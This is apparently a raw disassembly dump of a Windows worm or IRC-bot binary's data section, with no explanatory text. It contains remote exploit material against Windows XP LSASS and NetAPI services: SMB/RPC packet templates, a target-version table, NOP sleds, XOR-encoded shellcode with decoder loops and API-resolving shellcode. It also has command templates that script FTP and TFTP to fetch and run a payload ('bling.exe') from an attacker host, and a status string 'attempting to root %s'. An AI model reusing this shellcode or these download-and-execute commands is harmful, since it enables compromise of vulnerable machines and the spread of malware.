		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh,	0F52ED94Fh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_42822C	dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_403249+3B0o
		dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
		dd 0A0005400h, 200540Ch, 2600h,	100CB140h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
		dd 3ECh, 0
off_4282AC	dd offset loc_401493+2	; DATA XREF: sub_403249+3DEo
		dd 3, 40707Ch, 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_407079+3
		dd 1, 0
		dd 1, 0
		dd offset loc_407079+3
		dd 1, 0
		dd 1, 0
		dd offset loc_407079+3
		dd 1, 0
		dd 1, 0
		dd 138578h, 0E9A65BABh,	0
dword_428340	dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_403249+306o
		dd 0FEFF0800h, 600800h,	0DE00FF0Eh, 4000DEh, 0FF000000h
		dd 8FFFFFFh, 10B800h, 4010B800h, 0
		dd 0EE10B900h, 1000005h, 10h, 10B8h, 1,	200Ch, 90000h
		dd 0DADh, 0
		dd 0DADh, 0
dword_4283AC	dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_403249+331o
		dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
		dd 84005400h, 200540Fh,	2600h, 0F9540h,	50005Ch, 500049h
		dd 5C0045h, 0
		dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0
dword_428420	dd 0			; DATA XREF: sub_403249+35Fo
		dd offset loc_40A899+1
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40A899+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40A899+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40A899+1
		dd 1, 0
		dd 1, 3	dup(0)
aWinxpProfessio	db 'WinXP Professional    [universal] lsass.exe ',0
		align 10h
dword_4284E0	dd 1004600h		; DATA XREF: sub_403249+140r
					; sub_403249+245r
		dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h
		dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h
		dd 6C6C642Eh, 2	dup(0)
		dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h
		dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h
		dd 70617274h, 6C6C642Eh, 2 dup(0)
		dd 751C123Ch, 0Fh dup(0)
dword_428598	dd 0A0D7325h, 0		; DATA XREF: sub_4030E8+102o
					; sub_405144+DFo ...
aEchoOpenSDOEch	db 'echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &echo qu'
					; DATA XREF: sub_4030E8+BEo
		db 'it >> o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0
		align 4
aTftpISGetS	db 'tftp -i %s get %s',0Dh,0Ah,0 ; DATA XREF: sub_4030E8+97o
; ---------------------------------------------------------------------------

loc_428620:				; DATA XREF: sub_403249+177o
		jmp	short loc_428628
; ---------------------------------------------------------------------------
		jmp	short loc_42862A
; ---------------------------------------------------------------------------
		align 8

loc_428628:				; CODE XREF: ___:loc_428620j
					; DATA XREF: sub_403249+27o
		pop	esp
		pop	esp

loc_42862A:				; CODE XREF: ___:00428622j
		and	eax, 70695C73h
		arpl	[eax+eax], sp
; ---------------------------------------------------------------------------
		dw 0
dword_428634	dd 1CEC8166h		; DATA XREF: sub_403249+Dr
dword_428638	dd 0E4FF07h		; DATA XREF: sub_403249+16r
byte_42863C	db 90h			; DATA XREF: sub_403A90+B2o
		db 42h,	90h, 42h
		db 90h
		dd offset word_429042
		align 4
dword_428648	dd 10FF8h, 0		; DATA XREF: sub_403A90+6Ao
dword_428650	dd 10FF8h		; DATA XREF: sub_403A90+79o
dword_428654	dd 7FFDF020h, 0		; DATA XREF: sub_403A90+162o
dword_42865C	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)	; DATA XREF: sub_403EBA+7Bo
		dd 13370000h, 0
		dd 2006200h
aPcNetworkPro_0	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWor_0	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_4286E4	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)	; DATA XREF: sub_403EBA+34o
		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_428714	dd 0			; DATA XREF: sub_403EBA+44o
		dd 800000D4h, 0
unk_428720	db  81h	; │		; DATA XREF: sub_403F94+Ao
		db 2 dup(0), 44h
aCkfdenecfdeffc	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca	db ' CACACACACACACACACACACACACACACAAA',0
		dd 0
byte_42876C	db 41h			; DATA XREF: sub_404032+107r
aBcdefghijklmno	db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4287B0	proc near		; DATA XREF: ___:0040430Fo
		push	ebx
		push	esi
		push	edi
		sub	sp, 80h
		mov	esi, esp
		call	sub_4288AC
		push	dword ptr [esi]
		push	63D61209h
		call	sub_4288C2
		mov	[esi+8], eax
		call	sub_428875
		push	dword ptr [esi+4]
		push	0CA2BD06Bh
		call	sub_4288C2
		mov	[esi+0Ch], eax
		call	sub_428827
		push	dword ptr [esi+4]
		push	4C0297FAh
		call	sub_4288C2
		xor	ebx, ebx
		push	410h
		push	ebx
		call	eax
		mov	ebx, eax
		push	esi
		mov	esi, [esi+10h]
		mov	edi, eax
		mov	ecx, 410h
		rep movsb
		pop	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	eax
		push	eax
		call	dword ptr [esi+0Ch]
		mov	eax, [esi+8]
		add	sp, 80h
		pop	edi
		pop	esi
		pop	ebx
		jmp	eax
sub_4287B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_428827	proc near		; CODE XREF: sub_4287B0+33p

var_20		= dword	ptr -20h
var_14		= dword	ptr -14h

		pusha
		call	sub_428850
		mov	eax, [esp+20h+var_14]
		lea	ebx, [eax+7Ch]
		add	dword ptr [ebx+3Ch], 5
		add	dword ptr [ebx+28h], 1000h
		and	dword ptr [ebx+28h], 0FFFFF000h
		mov	eax, [esp+20h+var_20]
		add	esp, 14h
		push	eax
		xor	eax, eax
		retn
sub_428827	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_428850	proc near		; CODE XREF: sub_428827+1p
		xor	edx, edx
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		xor	ebx, ebx
		mov	eax, 42904290h

loc_42885F:				; CODE XREF: sub_428850+1Aj
		xor	ecx, ecx
		mov	cl, 2
		mov	edi, ebx
		repe scasd
		jz	short loc_42886C
		inc	ebx
		jmp	short loc_42885F
; ---------------------------------------------------------------------------

loc_42886C:				; CODE XREF: sub_428850+17j
		mov	[esi+10h], edi
		pop	dword ptr fs:[edx]
		pop	eax
		popa
		retn
sub_428850	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_428875	proc near		; CODE XREF: sub_4287B0+1Ep
		pusha
		mov	edi, 7FFDF020h
		mov	ebx, [edi]
		mov	eax, [esi+8]
		mov	[edi], eax
		mov	edi, [edi-8]
		add	edi, 178h
		mov	ecx, edi

loc_42888D:				; CODE XREF: sub_428875+1Ej
		cmp	[ecx], ebx
		jz	short loc_428895
		mov	ecx, [ecx]
		jmp	short loc_42888D
; ---------------------------------------------------------------------------

loc_428895:				; CODE XREF: sub_428875+1Aj
		mov	edx, edi

loc_428897:				; CODE XREF: sub_428875+2Aj
		cmp	[edx+4], ebx
		jz	short loc_4288A1
		mov	edx, [edx+4]
		jmp	short loc_428897
; ---------------------------------------------------------------------------

loc_4288A1:				; CODE XREF: sub_428875+25j
		mov	[ecx], edx
		mov	[edx+4], ecx
		mov	byte ptr [ebx-3], 1
		popa
		retn
sub_428875	endp


; =============== S U B	R O U T	I N E =======================================



sub_4288AC	proc near		; CODE XREF: sub_4287B0+Ap
		mov	eax, ds:7FFDF00Ch
		mov	eax, [eax+1Ch]
		mov	ebx, [eax+8]
		mov	[esi], ebx
		mov	eax, [eax]
		mov	eax, [eax+8]
		mov	[esi+4], eax
		retn
sub_4288AC	endp


; =============== S U B	R O U T	I N E =======================================



sub_4288C2	proc near		; CODE XREF: sub_4287B0+16p
					; sub_4287B0+2Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp

loc_4288D8:				; CODE XREF: sub_4288C2+33j
		jecxz	short loc_428912
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		xor	eax, eax
		cld

loc_4288E5:				; CODE XREF: sub_4288C2+2Dj
		lodsb
		cmp	al, ah
		jz	short loc_4288F1
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_4288E5
; ---------------------------------------------------------------------------

loc_4288F1:				; CODE XREF: sub_4288C2+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_4288D8
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		mov	[esp+20h+var_4], eax
		popa
		retn	8
; ---------------------------------------------------------------------------

loc_428912:				; CODE XREF: sub_4288C2:loc_4288D8j
					; sub_4288C2:loc_428912j
		jmp	short loc_428912
sub_4288C2	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================



sub_428918	proc near		; DATA XREF: ___:004042BFo

arg_0		= dword	ptr  4

		add	esp, 0FFFFF254h
		cld
		call	sub_42896A
		mov	eax, [ebp+3Ch]
		mov	edi, [ebp+eax+78h]
		add	edi, ebp
		mov	ecx, [edi+18h]
		mov	ebx, [edi+20h]
		add	ebx, ebp

loc_428935:				; CODE XREF: sub_428918+38j
		jecxz	short loc_428965
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	eax, eax
		cdq

loc_428940:				; CODE XREF: sub_428918+32j
		lodsb
		test	al, al
		jz	short loc_42894C
		ror	edx, 0Dh
		add	edx, eax
		jmp	short loc_428940
; ---------------------------------------------------------------------------

loc_42894C:				; CODE XREF: sub_428918+2Bj
		cmp	edx, [esp+arg_0]
		jnz	short loc_428935
		mov	ebx, [edi+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edi+1Ch]
		add	ebx, ebp
		mov	ebx, [ebx+ecx*4]
		add	ebx, ebp

loc_428965:				; CODE XREF: sub_428918:loc_428935j
		mov	[esp+arg_0], ebx
		retn
sub_428918	endp


; =============== S U B	R O U T	I N E =======================================



sub_42896A	proc near		; CODE XREF: sub_428918+7p

; FUNCTION CHUNK AT 004289A2 SIZE 00000007 BYTES

		xor	eax, eax
		mov	eax, fs:[eax+30h]
		test	eax, eax
		js	short loc_428983
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebp, [eax+8]
		jmp	loc_42898E
; ---------------------------------------------------------------------------

loc_428983:				; CODE XREF: sub_42896A+8j
		mov	eax, [eax+34h]
		add	eax, 7Ch
		mov	ebp, [eax+3Ch]

loc_42898E:				; CODE XREF: sub_42896A+14j
		pop	edi
		xor	esi, esi
		pusha
		push	esi
		jmp	short loc_4289A2
sub_42896A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_428995	proc near		; CODE XREF: sub_42896A:loc_4289A2p
		push	60E0CEEFh
		push	0E8AFE98h
		push	edi
		jmp	edi
sub_428995	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42896A

loc_4289A2:				; CODE XREF: sub_42896A+29j
		call	sub_428995

loc_4289A7:				; DATA XREF: sub_403A35+1Bo
					; sub_40EE72+822o
		add	[ebx], ah
; END OF FUNCTION CHUNK	FOR sub_42896A
; ---------------------------------------------------------------------------
		db 3 dup(0)
dword_4289AC	dd 60h			; DATA XREF: sub_403A90+320o
dword_4289B0	dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_403A90+2F5o
dword_4289BC	dd 30h			; DATA XREF: sub_403A90+2CAo
dword_4289C0	dd 0A1h			; DATA XREF: sub_403A90+29Fo
dword_4289C4	dd 3			; DATA XREF: sub_403A90+246o
aCccc		db 'CCCC',0             ; DATA XREF: sub_403A90+153o
		align 10h

loc_4289D0:				; DATA XREF: sub_403A90+E8o
		jmp	short near ptr dword_4289D8
; ---------------------------------------------------------------------------
		align 8
dword_4289D8	dd 0			; CODE XREF: ___:loc_4289D0j
aCmdCEchoOpenSD	db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>'
					; DATA XREF: ___:004042E4o
					; sub_404F9A+92o
		db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
dword_428A50	dd 0E983C933h, 0D9EED9AFh, 5BF42474h ; DATA XREF: ___:00404BFFo
; ---------------------------------------------------------------------------

loc_428A5C:				; CODE XREF: ___:00428A66j
		xor	dword ptr [ebx+13h], 6AD31EBBh
		sub	ebx, 0FFFFFFFCh
		loop	loc_428A5C
		inc	edi
		jz	short loc_428AA3
		and	eax, 952CE753h
		inc	esp
		jle	short loc_428ACB
		push	es
		lahf
		cmp	bl, [eax+2Fh]
		xchg	edx, [ebp+1FC36FAFh]
		cmp	al, 0E1h
; ---------------------------------------------------------------------------
		dd 355806F4h, 89381F9Bh, 5E58578Bh, 5B3D1F30h, 0EE7F877Bh
		dd 0ABD46A7Bh, 0A8D21371h, 3EE8EA50h
; ---------------------------------------------------------------------------
		lahf
		cmps	byte ptr ss:[esi], byte	ptr es:[edi]

loc_428AA3:				; CODE XREF: ___:00428A69j
		mov	[eax], esi
		inc	ecx
		imul	dword ptr [ebx+50h]
		js	short near ptr loc_428B02+1
		lock xchg ax, bp
; ---------------------------------------------------------------------------
		dw 768Ch
		dd 46D0F5BAh, 4EBF9730h, 5B107FA7h, 2A587A7Bh, 6693958Bh
		dd 0C7CF6E30h
; ---------------------------------------------------------------------------

loc_428AC8:				; CODE XREF: ___:00428AF5j
		xor	[esi-25h], bl

loc_428ACB:				; CODE XREF: ___:00428A71j
		xor	al, 0D3h
		nop
		popf
		db	64h
		push	edi
		dec	esi
		sub	al, 0BCh
		mov	al, ch
		mov	ch, 39h
		fnsave	byte ptr [esi-20h]
		pop	eax
		shr	dword ptr [ecx-60h], cl
		pop	eax
		in	al, 4Ah
		sub	al, 0BAh

loc_428AE4:				; CODE XREF: ___:00428B17j
		rcl	ebp, cl
		db	3Eh
		xchg	eax, esi
		or	byte ptr [esi+2Ch], 0BCh
		in	al, 97h
		db	36h
		or	al, 3Ah
		rep fld	tbyte ptr [eax-12h]
		jz	short loc_428AC8
		xchg	eax, ebp
		imul	esi, [esi+0Ah],	63h
		dec	esi
		mov	bl, 84h
		xchg	eax, ebp
		insd
		dec	ebp

loc_428B02:				; CODE XREF: ___:00428AA9j
		cmp	byte ptr [ecx],	0E8h
		dec	ebp
		nop
		cmp	eax, edi
		dec	ebp
		sub	al, 0BAh
		fnsave	byte ptr [esi-2Dh]
		paddusw	mm1, qword ptr [ebp+5Ah]
		mov	ebp, [esi]
		jbe	short loc_428B8E
		jo	short loc_428AE4
		fld	dword ptr [ebp+edx*4+3BC3746Dh]
		out	dx, al
		loope	near ptr loc_428B25+1
		add	bl, [edi]

loc_428B25:				; CODE XREF: ___:00428B21j
		mov	bl, 0FDh
		sub	esp, 0FFFFFFE1h
		add	eax, 3E1EE39h
		add	bl, [esi+57h]
		push	ebp
		and	ebp, esp
		loope	near ptr loc_428B3A+2
		cmp	ch, bh
		dec	edx

loc_428B3A:				; CODE XREF: ___:00428B35j
		xchg	dl, [ebp-72447295h]
		retn	0AAD8h
; ---------------------------------------------------------------------------
		db 3Dh
		dd 9586C844h, 0EB9786Bh, 7B076DDh, 3AB9FB32h, 0E31F37E2h
		dd 0E397745Ch, 99132F59h, 4791E011h, 0F9FF5C45h, 0C1EB6436h
		dd 18BBB510h, 95C5AD45h, 0BC2C5ACEh, 3B8149E0h,	6BB94FEAh
		dd 3B864FEAh, 0C7BBCE44h, 391D1B62h
		db 44h,	0C8h
; ---------------------------------------------------------------------------

loc_428B8E:				; CODE XREF: ___:00428B15j
		mov	ecx, 2C294495h
		mov	edx, 0E92F4930h
		jg	short loc_428C14
		sub	al, 0BCh
		jmp	near ptr 54448F82h
; ---------------------------------------------------------------------------
		db 0D0h, 33h, 0Ah
		dd 9505E1E8h, 6AD31E6Bh, 0
dword_428BB0	dd 0EFFFC481h, 44FFFFh,	428BFCh	; DATA XREF: ___:00404BE6o
dword_428BBC	dd 42Ah			; DATA XREF: ___:00404B99r
dword_428BC0	dd 3E8h			; DATA XREF: ___:00404C0Ar
dword_428BC4	dd 258h			; DATA XREF: ___:00404BDCr
byte_428BC8	db 0			; DATA XREF: ___:00404B45r
					; ___:00404C13r
		align 4
		dd offset aWindowsXpSp0Sp ; "Windows XP	(SP0+SP1)"
		dd 2C6h, 264h, 0
		dd 1
dword_428BE0	dd 20804h		; DATA XREF: sub_404853r ___:00404C31o ...
aWindowsXpSp0Sp	db 'Windows XP (SP0+SP1)',0 ; DATA XREF: ___:00428BCCo
		align 4
		dd 646E6957h, 2073776Fh, 2C34544Eh, 30303220h, 53282030h
		dd 532D3050h
; ---------------------------------------------------------------------------

loc_428C14:				; CODE XREF: ___:00428B98j
		push	eax
		xor	al, 29h

loc_428C17:				; DATA XREF: ___:00404B6Do
		add	bl, ch
		add	al, [eax]
; ---------------------------------------------------------------------------
		db 0
		align 10h
dword_428C20	dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ;	DATA XREF: ___:00404A9Do
dword_428C34	dd 4B324FC8h, 1D31670h,	475A7812h, 88E16EBFh, 0	; DATA XREF: ___:00404A41o
aSPipeBrowser	db '\\%s\pipe\browser',0 ; DATA XREF: ___:004049D0o
		align 4
a_:					; DATA XREF: sub_406387+252o
		unicode	0, <.>,0
dword_428C60	dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: ___:004050E2o
		dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h
		dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h
		dd 3Fh dup(22222222h), 1222222h, 64646401h, 2Dh	dup(64646464h)
		db 2 dup(64h)
word_429042	dw 6464h		; DATA XREF: ___:00428641o
		dd 11h dup(64646464h), 1016464h, 40h dup(65656565h), 66010165h
		dd 40h dup(66666666h), 67670101h, 3Fh dup(67676767h), 1676767h
		dd 68686801h, 3Fh dup(68686868h), 1016868h, 40h	dup(69696969h)
		dd 6A010169h, 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh)
		dd 16B6B6Bh, 6C6C6C01h,	8 dup(6C6C6C6Ch), 41416C6Ch, 100D06EBh
		dd 6D6D501Eh, 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h
		dd 83877FD9h, 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h
		dd 0C2F4FDECh, 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h
		dd 86F4ED43h, 1EBFE826h, 0F3BF5D64h, 8AB518CFh,	73941BC9h
		dd 0AF5B8DF3h, 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h
		dd 0EF4F5CBh, 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h
		dd 0C7F474D4h, 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh
		dd 0B50CAEA0h, 57808D97h, 7B9212A0h, 518089F3h,	0E19A5097h
		dd 85773449h, 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh
		dd 0D43C8A9Bh, 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh
		dd 78281EB8h, 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh
		dd 0EFAF269Dh, 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h
		dd 0D0061FB1h, 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h
		dd 0EB3F091h, 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h,	14539B36h
		dd 2C47A345h, 0F5177263h, 78696A36h, 51809DBDh,	0D62D8E93h
		dd 86158899h, 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h
		dd 5780EE37h, 4838E43h,	5180BD0Ch, 0EFAF269Ah, 0D87B5338h
		dd 78A9269Bh, 877FD918h
aMmmmmmmmmmmmmm	db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0
		align 4

loc_429E74:				; DATA XREF: ___:00405319o
		add	al, 54h
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax

loc_429E92:				; CODE XREF: ___:00429EE2j
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		fmul	st(1), st
		mov	al, 42h
		jmp	short loc_429EE9
; ---------------------------------------------------------------------------
		dec	edx
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		and	[ecx], eax
		jo	short loc_429E92
		inc	edx
		add	[eax-52h], esi
		inc	edx

loc_429EE9:				; CODE XREF: ___:00429ED9j
		mov	edi, esp
		add	edi, 2Ch
		sub	sp, 204h
		xor	ecx, ecx
		mov	dl, 35h
		add	cx, 138h

loc_429EFC:				; CODE XREF: ___:00429F03j
		mov	bl, [edi]
		xor	bl, dl
		mov	[edi], bl
		inc	edi
		loop	loc_429EFC
		ficom	word ptr [esi]
		dec	edi
		pop	esp
		aaa
		xor	[ecx+6Ch], bl
		int	28h		; DOS 2+ internal - KEYBOARD BUSY LOOP
		test	eax, 79E4B9EBh
		inc	ebp
		loope	loc_429F4D
		lds	edx, [edx]
		adc	eax, 623D0515h
		db	66h
		pop	es
		push	6
		pop	es
		assume es:nothing
		sbb	esi, [ecx+79h]
		jns	short near ptr loc_429F59+3
		fidiv	word ptr [eax]
		fxch4	st(4)
		retf	0CACAh
; ---------------------------------------------------------------------------
		db 68h
		dd 5F1FD8B6h, 0BE516C05h, 3975BE34h, 982945BEh,	0B83D4DBEh
		dd 2EBE096Ah, 6EBECE34h
; ---------------------------------------------------------------------------
		dec	ebp

loc_429F4D:				; CODE XREF: ___:00429F15j
		xor	al, 0CEh
		mov	esi, 0CC34297Eh
		mov	esi, 0CF341166h

loc_429F59:				; CODE XREF: ___:00429F26j
		db	64h, 67h
		mov	si, 156Eh
		xor	al, 0CEh
		add	al, 0FCh
		jz	short near ptr loc_429F67+2
		cmc
		lodsb

loc_429F67:				; CODE XREF: ___:00429F63j
		mov	esi, 0CB34BE01h
		cdq
		add	al, 0F7h
		in	al, 0D7h
		mov	cl, 0F5h
		inc	eax
		retn	833Ah
; ---------------------------------------------------------------------------
		db 70h
		dd 7071B830h, 250C5331h, 453D440h, 6B6D6F25h, 1E676563h
		dd 3A74257Bh, 0BE7F3982h, 0CD34BD31h, 3078833Ah, 0EDB871BCh
		dd 403078CBh, 3178CB8Bh, 78CB1441h, 2D68B817h, 0BCE5CA66h
		dd 6D315FF2h, 0B53070BDh, 0B83F4270h, 5EB54168h, 4DDC2113h
		dd 0BCCACACAh, 66EE04FBh, 63666666h, 0E5CA6373h, 536D60A2h
		dd 255F05BCh, 60CA6260h, 62637BE1h, 66F960CAh, 60CA6260h
		dd 70B8A2E5h, 60CA65BDh, 0CA6060D1h, 71B8DD60h,	66A13930h
		dd 4D501B5Dh, 56695D50h, 4A15158h, 0F970B8E7h, 626262A1h
		dd 0F3CB6666h, 0A167C734h, 654D70B8h, 65BD70B8h, 66663D84h
		dd 0FBCB255Fh, 66666667h, 0D960CA60h, 60CACA5Fh, 0D5h
word_42A040	dw 7A69h		; DATA XREF: sub_405144+30r
		align 4
aEchoOpenSDOE_0	db 'echo open %s %d > o&echo user 1 1 >> o &echo get bling.exe >> o &'
					; DATA XREF: sub_405144+97o
		db 'echo quit >> o &ftp -n -s:o &bling.exe',0Dh,0Ah,0
		align 10h
unk_42A0B0	db    2			; DATA XREF: ___:00405367o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 25h,	73h, 2Eh
		db  65h	; e
		db 1Fh,	78h, 1Fh
		db  70h	; p
		db 29h,	20h, 2
		db 0BBh	; ╩
		db 0BBh, 2, 20h
aAttemptingToRo	db 'attempting to root %s',0
		align 10h
